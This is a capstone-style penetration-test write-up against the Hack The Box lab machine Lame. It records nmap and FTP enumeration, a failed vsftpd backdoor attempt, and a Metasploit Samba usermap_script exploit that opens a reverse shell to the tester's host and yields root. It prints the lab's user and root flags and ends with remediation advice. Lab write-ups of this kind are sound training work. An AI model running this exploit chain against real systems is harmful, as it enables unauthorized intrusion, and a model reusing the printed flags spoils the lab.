

Phase 6

The Capstone Project

Executive Summary

The Objective of this phase is to conduct full scale penetration testing on the HTB machine LAME to evaluate systems security posture and identify vulnerabilities. We followed Penetration Testing execution standard (PTES). We covered reconnaissance, enumeration, exploitation, post exploitation.

Tools & Environment

1. Kali Linux Environment
2. HTB Lame machine
3. Metasploit
4. Nmap
5. Searchsploit

Methodology

1. Nmap Scanning of the Lame Machine

Now we perform Nmap Enumeration/Scan on the Lame VM machine.

```
# Nmap 7.00 scan initiated Tue Dec  4 13:15:15 2018 as: nmap -sV -sC -A -oN 10.10.10.3.txt 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.16s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
FTP server status:
Connected to 10.10.14.11
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
vsFTPD 2.3.4 - secure, fast, stable
End of status
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.23 (92%), Belkin W300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC5) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Citrix XenServer 5.5 (Linux 2.6.18) (92%), Linux 2.6.18 (ClarkConnect 4.3 Enterprise Edition) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
```



- The Scan Identified 4 ports open ftp 21, ssh 22, NetBIOS 139, 445 SMB. Nmap OS detection indicated Linux kernel in 2.6.x family.
- The Anonymous FTP login is allowed. Samba service running on port 445 seems to be vulnerable.

2. Trying to log into FTP as anonymous.

We can login to FTP as anonymous if the machine is configured for it. In this machine its enable so we check it out.

```
root@kali:~/Desktop# ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
I
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2  0      65534   4096 Mar 17  2010 .
drwxr-xr-x  2  0      65534   4096 Mar 17  2010 ..
226 Directory send OK.
ftp> pwd
257 "/"
ftp> cd .
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp>
```

We don't find much useful in FTP service.

3. Searching for vulnerable service of FTP

We use searchsploit to findout if the FTP service 2.3.4 is vulnerable and if there is any RCE exploit available.

```
root@kali:~/Desktop# searchsploit vsftpd 2.3.4
Exploit Title | Path
| (/usr/share/exploitdb/)
| exploits/unix/remote/17491.rb
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) I
-----
Shellcodes: No Result
Papers: No Result
root@kali:~/Desktop#
```

We found out one exploit is available. Lets try to use it in Metasploit.



4. Using Metasploit to perform Exploitation

Starting Metasploit with the command msfconsole

```
root@kali:~/Desktop# msfconsole
# cowsay++
< metasploit >
-----
 \   _`-
  (oo)---)
  (----)\ *
      =[ metasploit v4.17.26-dev
+ --=[ 1829 exploits - 1037 auxiliary - 318 post
+ --=[ 541 payloads - 44 encoders - 10 nops
+ --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
```

Configuring the Exploit as per needed by our requirement.

```
msf > search vsftpd 2.3.4
Matching Modules
=====
Name          Disclosure Date  Rank    Check  Description
auxiliary/gather/teamtalk_creds        2018-04-30  normal  No    TeamTalk Gather Credentials
exploit/multi/http/oscommerce_installer_uauth_code_exec 2018-08-22  excellent  Yes  osCommerce Installer Unauthenticated Code Execution
n exploit/multi/http/struts2_namespace_ognl           2011-07-03  excellent  Yes  Apache Struts 2 Namespace Redirect OGNL Injection
exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03  excellent  No   VSFTPD v2.3.4 Backdoor Command Execution

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name  Current Setting  Required  Description
-----  -----  -----
RHOST  10.10.10.3      yes       The target address
RPORT  21              yes       The target port (TCP)

Exploit target:
Id  Name
--  --
0  Automatic

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(unix/ftp/vsftpd_234_backdoor) >

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.

[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) >
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.】
```

We are unable to find any RCE as the Exploit is not working .



5. Exploiting Samba 3.0.20

We were unable to exploit vsftpd service. We will try to exploit Samba 3.0.20 service as its also vulnerable.

```
root@kali:~/Desktop# searchsploit 3.0.20
[...]
Exploit Title | Path
[...]
CubeCart 3.0.20 - '/admin/login.php?goto' Arbitrary Site Redirect | exploits/php/webapps/36686.txt
CubeCart 3.0.20 - 'switch.php?r' Arbitrary Site Redirect | exploits/php/webapps/36687.txt
CubeCart 3.0.20 - Multiple Scripts 'redir' Arbitrary Site Redirects | exploits/php/webapps/36685.txt
Maxthon Browser 3.0.20.1000 - ref / replace Denial of Service | exploits/windows/dos/16084.rb
Samba 3.0.20 < 3.0.25rc3 - 'Username' map Script' Command Execution (Metasploit) | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | exploits/linux/remote/7701.txt
Spy Emergency 23.0.205 - Unquoted Service Path Privilege Escalation | exploits/windows/local/40550.txt
[...]
Shellcodes: No Result
Papers: No Result
root@kali:~/Desktop#
```

By searching in searchsploit we are able to find another exploit that is available in Metasploit. Let's exploit that.

```
Matching Modules
=====
Name | Disclosure Date | Rank | Check | Description
[...]
auxiliary/admin/http/wp_easycart_privilege_escalation | 2015-02-25 | normal | Yes | WordPress WP EasyCart Plugin Privilege Escalation
auxiliary/admin/smb/samba_symlink_traversal | 2015-02-25 | normal | No | Samba Symlink Directory Traversal
auxiliary/dos/samba/lsa_adprivils_heap | 2015-02-25 | normal | No | Samba lsa io_privilege_set Heap Overflow
auxiliary/dos/samba/lsa_transnames_heap | 2015-02-25 | normal | No | Samba lsa io_trans_names Heap Overflow
auxiliary/dos/samba/read_nttrans_ea_list | 2015-02-25 | normal | No | Samba read_nttrans_ea_list Integer Overflow
auxiliary/scanner/rsync/modules_list | 2015-02-25 | normal | Yes | List Rsync Modules
auxiliary/scanner/smb/smb_uninit_cred | 2015-02-25 | normal | Yes | Samba _net_ServerPasswordSet Uninitialized Credential
[...]
State | |
exploit/freebsd/samba/trans2open | 2003-04-07 | great | No | Samba trans2open Overflow (*BSD x86)
exploit/linux/samba/chain_reply | 2010-06-16 | good | No | Samba chain reply Memory Corruption (Linux x86)
exploit/linux/samba/is_known_pipe_name | 2017-03-24 | excellent | Yes | Samba is_known_pipe_name() Arbitrary Module Load
exploit/linux/samba/lsa_transnames_heap | 2007-05-14 | good | Yes | Samba lsa io_trans_names Heap Overflow
exploit/linux/samba/setinfo_policy_heap | 2012-04-10 | normal | Yes | Samba SetInformationPolicy AuditEventsInfo Heap Overf
[...]
low | |
exploit/linux/samba/trans2open | 2003-04-07 | great | No | Samba trans2open Overflow (Linux x86)
exploit/multi/samba/nttrans | 2003-04-07 | average | No | Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
exploit/multi/samba/usermap_script | 2007-05-14 | excellent | No | Samba "username map script" Command Execution
[...]
exploit/osx/samba/lsa_transnames_heap | 2007-05-14 | average | No | Samba lsa io_trans_names Heap Overflow
exploit/osx/samba/trans2open | 2003-04-07 | great | No | Samba trans2open Overflow (Mac OS X PPC)
exploit/solaris/samba/lsa_transnames_heap | 2007-05-14 | average | No | Samba lsa io_trans_names Heap Overflow
exploit/solaris/samba/trans2open | 2003-04-07 | great | No | Samba trans2open Overflow (Solaris SPARC)
exploit/unix/http/quest_kace_systems_management_rce | 2018-05-31 | excellent | Yes | Quest KACE Systems Management Command Injection
exploit/unix/misc/distcc_exec | 2002-02-01 | excellent | Yes | DistCC Daemon Command Execution
exploit/unix/webapp/citrix_access_gateway_exec | 2010-12-21 | excellent | Yes | Citrix Access Gateway Command Execution
exploit/windows/fileformat/ms14_060_sandworm | 2014-10-14 | excellent | No | MS14-060 Microsoft Windows OLE Package Manager Code E
xecution
exploit/windows/http/sambar6_search_results | 2003-06-21 | normal | Yes | Sambar 6 Search Results Buffer Overflow
exploit/windows/license/caliclnet_getconfig | 2005-03-02 | average | No | Computer Associates License Client GETCONFIG Overflow
exploit/windows/smb/group_policy_startup | 2015-01-26 | manual | No | Group Policy Script Execution From Shared Resource
post/linux/gather/enum_configs | 2015-01-26 | normal | No | Linux Gather Configurations
[...]
nsf >
```

We found the exploit we will configure it and try to exploit it.

```
msf exploit(multi/samba/usermap_script) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 10.10.14.11:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo wz4gZrzD2YVmrlEP;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "wz4gZrzD2YVmrlEP\r\n"
[*] Matching...
[*] A is input...
```

We were successfully able to get Remote code execution.



6. Post Exploitation

First, we will check our privileges as we got our shell.

```
sh-3.2#  
sh-3.2# id  
id  
uid=0(root) gid=0(root)
```

From the above snapshot we can determine that we were able to get root privileges.

Let's try to get user flag now.

```
sh-3.2# cd home  
cd home  
sh-3.2# ls  
ls  
ftp  makis  service  user  
sh-3.2# cd makis  
cd makis  
sh-3.2# ls  
ls  
user.txt  
sh-3.2# cat user.txt  
cat user.txt  
69454a937d94f5f0225ea00acd2e84c5
```

We got the User flag. Now Let's try to get the Root Flag which is usually in the Root Directory.

```
sh-3.2# ls  
ls  
bin  dev  initrd    lost+found  nohup.out  root  sys  var  
boot  etc  initrd.img  media      opt       sbin  tmp  vmlinuz  
cdrom  home  lib      mnt       proc      srv   usr  
sh-3.2# sd root  
sd root/  
sh: sd: command not found  
sh-3.2# cd root  
cd root  
sh-3.2# ls  
ls  
Desktop  reset_logs.sh  root.txt  vnc.log  
sh-3.2# cat root.txt  
cat root.txt  
92caac3be140ef409e45721348a4e9df  
sh-3.2#
```

We got the root flag as well.

Attack Timeline

Timestamp	Target IP	Activity / Vulnerability	PTES Phase
2025-11-18 14:00:00	10.10.10.3	Nmap scan discovered FTP, SSH, SMB	Intelligence Gathering
2025-11-18 14:10:00	10.10.10.3	Anonymous FTP login tested	Enumeration
2025-11-18 14:20:00	10.10.10.3	VSFTPD 2.3.4 analyzed (not exploitable)	Vulnerability Analysis
2025-11-18 14:35:00	10.10.10.3	Samba 3.0.20 identified as vulnerable	Vulnerability Analysis
2025-11-18 14:45:00	10.10.10.3	Samba exploit configured in Metasploit	Exploitation
2025-11-18 14:50:00	10.10.10.3	Remote Code Execution achieved	Exploitation
2025-11-18 14:55:00	10.10.10.3	Gained root shell	Post-Exploitation
2025-11-18 15:00:00	10.10.10.3	User & Root flags collected	Post-Exploitation

Remediation Recommendations

By the result of our full-scale penetration test we are able to determine the VM Lame by HTB have high severity RCE vulnerabilities. Here are some of the recommendations to improve security posture of the machine.

- Update vsftpd 2.3.4 as it is widely known vulnerable service
- Patch samba services as we were able to get RCE
- Disable anonymous ftp misconfiguration
- Regularly update Operating system and services
- Implement Access control lists and firewall
- Enable Logging and monitoring for better traceability.

Non-Technical Summary

A full-scale Penetration test was launched against the HTB VM Lame. The results determined that it had several high impact vulnerabilities. These vulnerabilities were found in the outdated services FTP and Samba. This weakness allowed us to gain complete control of the system without authorized credentials. Once inside we were able to access system files and we could retrieve sensitive private system files. It could do further damage and disrupt operations.

This assessment was conducted in controlled environment and no real-world target was harmed in any way. The purpose of this assessment was to find out the security posture and highlight the importance of the software updates which include updates of the services. To reduce the risk of real attack we recommend to update the software regularly and patch misconfigurations, and disabling un-needed services which will greatly improve security posture and decrease attacks surface significantly.